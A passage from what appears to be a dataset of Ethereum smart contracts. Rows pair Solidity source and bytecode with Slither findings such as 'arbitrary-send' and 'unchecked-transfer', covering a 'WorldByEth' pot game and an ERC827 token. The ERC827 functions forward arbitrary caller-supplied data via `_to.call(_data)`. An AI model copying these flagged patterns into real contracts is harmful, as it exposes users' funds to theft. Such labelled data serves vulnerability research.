50057fe5b600091825260209091200154600160a060020a031692915050565b60065490565b6000806000611531878787610cee565b92506000831161158b576040805160e560020a62461bcd02815260206004820152601960248201527f5468652072657475726e20616d6f756e74206973207a65726f00000000000000604482015290519081900360640190fd5b83831015611609576040805160e560020a62461bcd02815260206004820152602f60248201527f5468652072657475726e20616d6f756e74206973206c657373207468616e205f60448201527f6d696e52657475726e2076616c75650000000000000000000000000000000000606482015290519081900360840190fd5b6040805160e060020a6370a082310281523060048201529051600160a060020a038916916370a082319160248083019260209291908290030181600087803b15801561165457600080fd5b505af1158015611668573d6000803e3d6000fd5b505050506040513d602081101561167e57600080fd5b5051604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018890529051919350600160a060020a038916916323b872dd916064808201926020929091908290030181600087803b1580156116f257600080fd5b505af1158015611706573d6000803e3d6000fd5b505050506040513d602081101561171c57600080fd5b50506040805160e060020a6370a08231028152306004820152905183870191600160a060020a038a16916370a08231916024808201926020929091908290030181600087803b15801561176e57600080fd5b505af1158015611782573d6000803e3d6000fd5b505050506040513d602081101561179857600080fd5b5051146117a457600080fd5b6040805160e060020a6370a082310281523060048201529051600160a060020a038816916370a082319160248083019260209291908290030181600087803b1580156117ef57600080fd5b505af1158015611803573d6000803e3d6000fd5b505050506040513d602081101561181957600080fd5b5051604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018690529051919250600160a060020a0388169163a9059cbb916044808201926020929091908290030181600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d60208110156118b157600080fd5b50506040805160e060020a6370a08231028152306004820152905184830391600160a060020a038916916370a08231916024808201926020929091908290030181600087803b15801561190357600080fd5b505af1158015611917573d6000803e3d6000fd5b505050506040513d602081101561192d57600080fd5b50511461193957600080fd5b33600160a060020a031686600160a060020a031688600160a060020a03167f24cee3d6b5651a987362aa6216b9d34a39212f0f1967dfd48c2c3a4fc3c576dc8887604051808381526020018281526020019250505060405180910390a45050949350505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156119f557336000908152600260209081526040808320600160a060020a0388168452909152812055611a2a565b611a05818463ffffffff6123da16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000611a9e8685858561121f565b600654855114611b1e576040805160e560020a62461bcd02815260206004820152603560248201527f4c656e67687473206f66205f746f6b656e7320616e64205f776569676874732060448201527f61727261792073686f756c6420626520657175616c0000000000000000000000606482015290519081900360840190fd5b5060005b600654811015610ccb578481815181101515611b3a57fe5b602090810290910101511515611bc0576040805160e560020a62461bcd02815260206004820152602c60248201527f546865205f776569676874732061727261792073686f756c64206e6f7420636f60448201527f6e7461696e73207a65726f730000000000000000000000000000000000000000606482015290519081900360840190fd5b60076000600683815481101515611bd357fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205415611c73576040805160e560020a62461bcd02815260206004820152602160248201527f546865205f746f6b656e732061727261792068617665206475706c696361746560448201527f7300000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8481815181101515611c8157fe5b9060200190602002015160076000600684815481101515611c9e57fe5b6000918252602080832090910154600160a060020a03168352820192909252604001902055600101611b22565b600160a060020a031660009081526020819052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108f25780601f106108c7576101008083540402835291602001916108f2565b60076020526000908152604090205481565b6000600160a060020a0383161515611d6a57600080fd5b33600090815260208190526040902054821115611d8657600080fd5b33600090815260208190526040902054611da6908363ffffffff6123da16565b3360009081526020819052604080822092909255600160a060020a03851681522054611dd8908363ffffffff61242a16565b600160a060020a0384166000818152602081815260409182902093909355805185815290519192339260008051602061295b8339815191529281900390910190a350600192915050565b600080600080611e33888888610cee565b935060008411611e8d576040805160e560020a62461bcd02815260206004820152601960248201527f5468652072657475726e20616d6f756e74206973207a65726f00000000000000604482015290519081900360640190fd5b6040805160e060020a6370a082310281523060048201529051600160a060020a038a16916370a082319160248083019260209291908290030181600087803b158015611ed857600080fd5b505af1158015611eec573d6000803e3d6000fd5b505050506040513d6020811015611f0257600080fd5b5051604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0388811660048301526024820188905291519295509089169163095ea7b3916044808201926020929091908290030181600087803b158015611f7357600080fd5b505af1158015611f87573d6000803e3d6000fd5b505050506040513d6020811015611f9d57600080fd5b5050604080517f5e5144eb000000000000000000000000000000000000000000000000000000008152600160a060020a0389811660048301528a811660248301526044820187905260648201899052915191871691635e5144eb916084808201926020929091908290030181600087803b15801561201a57600080fd5b505af115801561202e573d6000803e3d6000fd5b505050506040513d602081101561204457600080fd5b50506040805160e060020a6370a0823102815230600482015290516120cf918591600160a060020a038c16916370a082319160248083019260209291908290030181600087803b15801561209757600080fd5b505af11580156120ab573d6000803e3d6000fd5b505050506040513d60208110156120c157600080fd5b50519063ffffffff6123da16565b9150858210156120de57600080fd5b85821115612220576120f6828763ffffffff6123da16565b604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018390529051919250600160a060020a038a169163a9059cbb916044808201926020929091908290030181600087803b15801561216257600080fd5b505af1158015612176573d6000803e3d6000fd5b505050506040513d602081101561218c57600080fd5b5061219f9050838763ffffffff61242a16565b6040805160e060020a6370a082310281523060048201529051600160a060020a038b16916370a082319160248083019260209291908290030181600087803b1580156121ea57600080fd5b505af11580156121fe573d6000803e3d6000fd5b505050506040513d602081101561221457600080fd5b50511461222057600080fd5b33600160a060020a031687600160a060020a031689600160a060020a03167f24cee3d6b5651a987362aa6216b9d34a39212f0f1967dfd48c2c3a4fc3c576dc8988604051808381526020018281526020019250505060405180910390a4505050949350505050565b336000908152600260209081526040808320600160a060020a03861684529091528120546122bc908363ffffffff61242a16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600154156123ca576040805160e560020a62461bcd02815260206004820152603360248201527f54686973206d6574686f642063616e20626520757365642077697468207a657260448201527f6f20746f74616c20737570706c79206f6e6c7900000000000000000000000000606482015290519081900360840190fd5b6123d5838383612437565b505050565b6000828211156123e657fe5b50900390565b60008215156123fd5750600061095b565b5081810281838281151561240d57fe5b041461095b57fe5b6000818381151561242257fe5b049392505050565b8181018281101561095b57fe5b80516006546000918291146124bc576040805160e560020a62461bcd02815260206004820152603960248201527f4c656e67687473206f6620746f6b656e7320616e64205f746f6b656e416d6f7560448201527f6e74732061727261792073686f756c6420626520657175616c00000000000000606482015290519081900360840190fd5b600091505b60065482101561275e5760068054839081106124d957fe5b60009182526020808320909101546040805160e060020a6370a082310281523060048201529051600160a060020a03909216936370a082319360248084019491939192918390030190829087803b15801561253357600080fd5b505af1158015612547573d6000803e3d6000fd5b505050506040513d602081101561255d57600080fd5b505160068054919250908390811061257157fe5b6000918252602090912001548351600160a060020a03909116906323b872dd90339030908790879081106125a157fe5b6020908102909101810151604080517c010000000000000000000000000000000000000000000000000000000063ffffffff8816028152600160a060020a03958616600482015293909416602484015260448301529151606480830193928290030181600087803b15801561261557600080fd5b505af1158015612629573d6000803e3d6000fd5b505050506040513d602081101561263f57600080fd5b5050825161266a9084908490811061265357fe5b60209081029091010151829063ffffffff61242a16565b600680548490811061267857fe5b60009182526020808320909101546040805160e060020a6370a082310281523060048201529051600160a060020a03909216936370a082319360248084019491939192918390030190829087803b1580156126d257600080fd5b505af11580156126e6573d6000803e3d6000fd5b505050506040513d60208110156126fc57600080fd5b505114612753576040805160e560020a62461bcd02815260206004820152601660248201527f496e76616c696420746f6b656e206265686176696f7200000000000000000000604482015290519081900360640190fd5b6001909101906124c1565b600154612771908563ffffffff61242a16565b600155600160a060020a03851660009081526020819052604090205461279d908563ffffffff61242a16565b600160a060020a03861660008181526020818152604091829020939093558051878152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518581529051600160a060020a0387169160009160008051602061295b8339815191529181900360200190a35050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061286457805160ff1916838001178555612891565b82800160010185558215612891579182015b82811115612891578251825591602001919060010190612876565b5061289d92915061290f565b5090565b828054828255906000526020600020908101928215612903579160200282015b82811115612903578251825473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039091161782556020909201916001909101906128c1565b5061289d929150612929565b610cd791905b8082111561289d5760008155600101612915565b610cd791905b8082111561289d57805473ffffffffffffffffffffffffffffffffffffffff1916815560010161292f5600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058205ebea6fc0e7fe9756258807935c2622bc4f5b789e342cba848e2f6aa4d2367dc0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,180 |
0xa1997e5476538e841cdf0a5d0990bf09a4932675 | pragma solidity ^0.4.24;
contract WorldByEth {
using SafeMath for *;
using NameFilter for string;
string constant public name = "ETH world cq";
string constant public symbol = "ecq";
uint256 public rID_;
uint256 public pID_;
uint256 public com_;
address public comaddr = 0x9ca974f2c49d68bd5958978e81151e6831290f57;
mapping(uint256 => uint256) public pot_;
mapping(uint256 => mapping(uint256 => Ctry)) public ctry_;
uint public gap = 1 hours;
uint public timeleft;
address public lastplayer = 0x9ca974f2c49d68bd5958978e81151e6831290f57;
address public lastwinner;
uint[] public validplayers;
struct Ctry {
uint256 id;
uint256 price;
bytes32 name;
bytes32 mem;
address owner;
}
mapping(uint256 => uint256) public totalinvest_;
//===========
modifier isHuman() {
address _addr = msg.sender;
require(_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
constructor()
public
{
pID_++;
rID_++;
validplayers.length = 0;
timeleft = now + 24 hours;
}
function getvalid()
public
returns(uint[]){
return validplayers;
}
function changemem(uint id, bytes32 mem)
isHuman
public
payable
{
require(msg.value >= 0.1 ether);
require(msg.sender == ctry_[rID_][id].owner);
com_ += msg.value;
if (mem != ""){
ctry_[rID_][id].mem = mem;
}
}
function buy(uint id, bytes32 mem)
isHuman
public
payable
{
require(msg.value >= 0.01 ether);
require(msg.value >=ctry_[rID_][id].price);
if (mem != ""){
ctry_[rID_][id].mem = mem;
}
if (update() == true) {
uint com = (msg.value).div(100);
com_ += com;
uint pot = (msg.value).mul(9).div(100);
pot_[rID_] += pot;
uint pre = msg.value - com - pot;
if (ctry_[rID_][id].owner != address(0x0)){
ctry_[rID_][id].owner.transfer(pre);
}else{
validplayers.push(id);
}
ctry_[rID_][id].owner = msg.sender;
ctry_[rID_][id].price = (msg.value).mul(14).div(10);
}else{
rID_++;
validplayers.length = 0;
ctry_[rID_][id].owner = msg.sender;
ctry_[rID_][id].price = (0.01 ether).mul(14).div(10);
validplayers.push(id);
(msg.sender).transfer(msg.value - 0.01 ether);
}
lastplayer = msg.sender;
totalinvest_[rID_] += msg.value;
ctry_[rID_][id].id = id;
}
function update()
private
returns(bool)
{
if (now > timeleft) {
lastplayer.transfer(pot_[rID_].mul(6).div(10));
lastwinner = lastplayer;
com_ += pot_[rID_].div(10);
pot_[rID_+1] += pot_[rID_].mul(3).div(10);
timeleft = now + 24 hours;
return false;
}
timeleft += gap;
if (timeleft > now + 24 hours) {
timeleft = now + 24 hours;
}
return true;
}
function()
public
payable
{
com_ += msg.value;
}
modifier onlyDevs() {
require(
msg.sender == 0x9ca974f2c49d68bd5958978e81151e6831290f57,
"only team just can activate"
);
_;
}
// upgrade withdraw com_ and clear it to 0
function withcom()
onlyDevs
public
{
if (com_ <= address(this).balance){
comaddr.transfer(com_);
com_ = 0;
}else{
comaddr.transfer(address(this).balance);
}
}
}
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
// File: contracts/library/SafeMath.sol
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010e57806319dbc19b1461019e578063260e8dfc146101f55780633ee89a63146102365780634b2271761461024d5780634f66e22c14610278578063624ae5c0146102b957806368c74b53146102e45780636c32c0a61461030f5780637aa359f81461033a5780638f9e4e741461036857806395d89b411461040b578063bb2907531461049b578063d07673eb146104f2578063dbf6c70314610533578063dddd3de81461055e578063e9fca283146105ca578063ef24180a146105f8575b34600260008282540192505081905550005b34801561011a57600080fd5b5061012361064f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101aa57600080fd5b506101b3610688565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561020157600080fd5b50610220600480360381019080803590602001909291905050506106ae565b6040518082815260200191505060405180910390f35b34801561024257600080fd5b5061024b6106c6565b005b34801561025957600080fd5b50610262610884565b6040518082815260200191505060405180910390f35b34801561028457600080fd5b506102a36004803603810190808035906020019092919050505061088a565b6040518082815260200191505060405180910390f35b3480156102c557600080fd5b506102ce6108ad565b6040518082815260200191505060405180910390f35b3480156102f057600080fd5b506102f96108b3565b6040518082815260200191505060405180910390f35b34801561031b57600080fd5b506103246108b9565b6040518082815260200191505060405180910390f35b6103666004803603810190808035906020019092919080356000191690602001909291905050506108bf565b005b34801561037457600080fd5b5061039d6004803603810190808035906020019092919080359060200190929190505050610a6a565b60405180868152602001858152602001846000191660001916815260200183600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060405180910390f35b34801561041757600080fd5b50610420610acd565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610460578082015181840152602081019050610445565b50505050905090810190601f16801561048d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a757600080fd5b506104b0610b06565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104fe57600080fd5b5061051d60048036038101908080359060200190929190505050610b2c565b6040518082815260200191505060405180910390f35b34801561053f57600080fd5b50610548610b44565b6040518082815260200191505060405180910390f35b34801561056a57600080fd5b50610573610b4a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105b657808201518184015260208101905061059b565b505050509050019250505060405180910390f35b6105f6600480360381019080803590602001909291908035600019169060200190929190505050610ba2565b005b34801561060457600080fd5b5061060d611172565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280600c81526020017f45544820776f726c64206371000000000000000000000000000000000000000081525081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b739ca974f2c49d68bd5958978e81151e6831290f573373ffffffffffffffffffffffffffffffffffffffff16141515610767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f6f6e6c79207465616d206a7573742063616e206163746976617465000000000081525060200191505060405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff163160025411151561080157600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002549081150290604051600060405180830381858888f193505050501580156107f3573d6000803e3d6000fd5b506000600281905550610882565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610880573d6000803e3d6000fd5b505b565b60015481565b600a8181548110151561089957fe5b906000526020600020016000915090505481565b60005481565b60075481565b60065481565b6000803391503273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415156108ff57600080fd5b813b905060008114151561097b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f736f7272792068756d616e73206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b67016345785d8a0000341015151561099257600080fd5b6005600080548152602001908152602001600020600085815260200190815260200160002060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a1457600080fd5b3460026000828254019250508190555060008360001916141515610a6457826005600080548152602001908152602001600020600086815260200190815260200160002060030181600019169055505b50505050565b6005602052816000526040600020602052806000526040600020600091509150508060000154908060010154908060020154908060030154908060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905085565b6040805190810160405280600381526020017f656371000000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b6020528060005260406000206000915090505481565b60025481565b6060600a805480602002602001604051908101604052809291908181526020018280548015610b9857602002820191906000526020600020905b815481526020019060010190808311610b84575b5050505050905090565b60008060008060003391503273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515610be757600080fd5b813b9050600081141515610c63576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f736f7272792068756d616e73206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b662386f26fc100003410151515610c7957600080fd5b60056000805481526020019081526020016000206000888152602001908152602001600020600101543410151515610cb057600080fd5b60008660001916141515610cf057856005600080548152602001908152602001600020600089815260200190815260200160002060030181600019169055505b60011515610cfc611198565b15151415610f7a57610d1860643461138c90919063ffffffff16565b945084600260008282540192505081905550610d516064610d436009346113a790919063ffffffff16565b61138c90919063ffffffff16565b93508360046000805481526020019081526020016000206000828254019250508190555083853403039250600073ffffffffffffffffffffffffffffffffffffffff166005600080548152602001908152602001600020600089815260200190815260200160002060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610e8e576005600080548152602001908152602001600020600088815260200190815260200160002060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015610e88573d6000803e3d6000fd5b50610ebb565b600a8790806001815401808255809150509060018203906000526020600020016000909192909190915055505b336005600080548152602001908152602001600020600089815260200190815260200160002060040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f49600a610f3b600e346113a790919063ffffffff16565b61138c90919063ffffffff16565b60056000805481526020019081526020016000206000898152602001908152602001600020600101819055506110d9565b60008081548092919060010191905055506000600a81610f9a919061144b565b50336005600080548152602001908152602001600020600089815260200190815260200160002060040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611030600a611022600e662386f26fc100006113a790919063ffffffff16565b61138c90919063ffffffff16565b6005600080548152602001908152602001600020600089815260200190815260200160002060010181905550600a8790806001815401808255809150509060018203906000526020600020016000909192909190915055503373ffffffffffffffffffffffffffffffffffffffff166108fc662386f26fc1000034039081150290604051600060405180830381858888f193505050501580156110d7573d6000803e3d6000fd5b505b33600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034600b6000805481526020019081526020016000206000828254019250508190555086600560008054815260200190815260200160002060008981526020019081526020016000206000018190555050505050505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060075442111561135657600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61121b600a61120d60066004600080548152602001908152602001600020546113a790919063ffffffff16565b61138c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611246573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112d2600a60046000805481526020019081526020016000205461138c90919063ffffffff16565b60026000828254019250508190555061131c600a61130e60036004600080548152602001908152602001600020546113a790919063ffffffff16565b61138c90919063ffffffff16565b6004600060016000540181526020019081526020016000206000828254019250508190555062015180420160078190555060009050611389565b6006546007600082825401925050819055506201518042016007541115611384576201518042016007819055505b600190505b90565b600080828481151561139a57fe5b0490508091505092915050565b6000808314156113ba5760009050611445565b81830290508183828115156113cb57fe5b04141515611441576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d617468206d756c206661696c65640000000000000000000000000081525060200191505060405180910390fd5b8090505b92915050565b815481835581811115611472578183600052602060002091820191016114719190611477565b5b505050565b61149991905b8082111561149557600081600090555060010161147d565b5090565b905600a165627a7a723058203ae99dc082c367b90198edfb83d036b19398fe9eb31c8038d50111487ea852900029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,181 |
0x9dc03c0a22fa0c6a656bb5f5da03f39d458dcceb | pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
/**
* @title ERC20 interface
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
@title ERC827 interface, an extension of ERC20 token standard
Interface of a ERC827 token, following the ERC20 standard with extra
methods to transfer value and data and execute calls in transfers and
approvals.
*/
contract ERC827 is ERC20 {
function approve( address _spender, uint256 _value, bytes _data ) public returns (bool);
function transfer( address _to, uint256 _value, bytes _data ) public returns (bool);
function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
@title ERC827, an extension of ERC20 token standard
Implementation the ERC827, following the ERC20 standard with extra
methods to transfer value and data and execute calls in transfers and
approvals.
*/
contract ERC827Token is ERC827, StandardToken {
function approve(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call(_data));
return true;
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call(_data));
return true;
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call(_data));
return true;
}
